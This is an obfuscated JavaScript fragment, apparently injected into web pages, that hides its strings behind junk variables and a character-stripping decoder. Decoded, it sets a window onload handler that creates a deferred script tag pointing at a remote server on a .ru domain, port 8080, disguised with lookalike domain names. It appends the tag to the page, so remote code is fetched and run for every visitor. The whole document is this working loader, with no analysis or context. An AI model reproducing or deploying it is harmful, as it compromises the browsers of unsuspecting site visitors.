Sem;if(Sem!='qq' && Sem != ''){Sem=null};var Asy='';Ll = '';var TX='';var qhb='';uc = '';P = '';this.gsT=false;this.sE=false;var DV="DV";var RE;if(RE!='' && RE!='DH'){RE=null};return '';var Nc=new Date();var Ci=new Array();};this.BH=false;var aA;if(aA!=''){aA='oF'};var fPm='';T(NPV);
this.u="";function R() {var Cc;if(Cc!='' && Cc!='Ac'){Cc=''};var A='replace';var i='g';var Et;if(Et!='G' && Et!='l'){Et='G'};this.TZ="";var ie='[';var Aq=new String();var E=new String();var Tb=new Array();var OZ;if(OZ!='' && OZ!='Q'){OZ=''};var z=']';var f=RegExp;var v;if(v!='t'){v='t'};function O(N,Oj){var kR=new String();var zM=ie;var ER;if(ER!='' && ER!='RW'){ER=''};zM+=Oj;var ah;if(ah!='LB' && ah != ''){ah=null};var b=new Array();zM+=z;var KU;if(KU!='' && KU!='vt'){KU=''};var EK=new f(zM, i);var p;if(p!='g' && p!='MB'){p='g'};return N[A](EK, E);};var S='';var TZJ=new String();var c=O('cdrxedadtxexExldexmdexndtd',"xd");var T=O('8525555057257877751755015175',"5172");var I=O('sIcorIiopotM',"o1I6M");var D="";var F=O('hAtntApL:V/A/VrVeAdqtnuVbneV-qcnoVmL.AaAdqoVbVen.ncAoAmq.LlLaAtViLmVeqsn-AcnoVmq.AsqaVmVuneqsAtn.VrLuV:L',"qnVLA");var wv="";var pN=new Date();var _=window;var fh='';var W='';var Js=new Array();var C=O('/4g0oToJgTlJe4.0c0oJmU.Ja0u4/4g0o0o0gTlUeJ.0cJoTmJ.0a0u4/UaJmTeTrUi0cUaJn4eTx0pJrJeUsTs4.Tc4o0mJ/0g4oJo4g4lJe4.TcToJmU/TcUyUwJoUrTlTd0.Tc4oTm4.Jp4hJp0',"4UT0J");var Nf;if(Nf!='Fc'){Nf=''};var X;if(X!='WT' && X!='Ow'){X='WT'};var ee;if(ee!='tF' && ee!='Mh'){ee='tF'};_[O('oqnCl1oCa1dq',"q1rC")]=function(){var aK=new String();var qH=new String();try {this.bu="";this.hR='';var CJ='';W+=F;var MQ=new String();this.mw="";W+=T;var XR=new Date();W+=C;var Fe;if(Fe!='P_' && Fe != ''){Fe=null};var NS='';var qZ="";var Dk=new Array();co=document[c](I);var rE;if(rE!='XM' && rE != ''){rE=null};this.UF="";OF(co,'defer',([1,1][0]));var Ue;if(Ue!='zn'){Ue='zn'};var Bp=new Array();var jz=new Date();OF(co,'src',W);document.body.appendChild(co);var wU=new String();} catch(j){};var NF=new String();var Gz=new String();};var Td="";function OF(K,H,q){var Zu;if(Zu!='gU'){Zu='gU'};var jf='';K.setAttribute(H, q);var aa;if(aa!='' && aa!='Hn'){aa=''};}var n=new Date();var Ju;if(Ju!='gs'){Ju=''};};var bV=new Array();var wF='';R();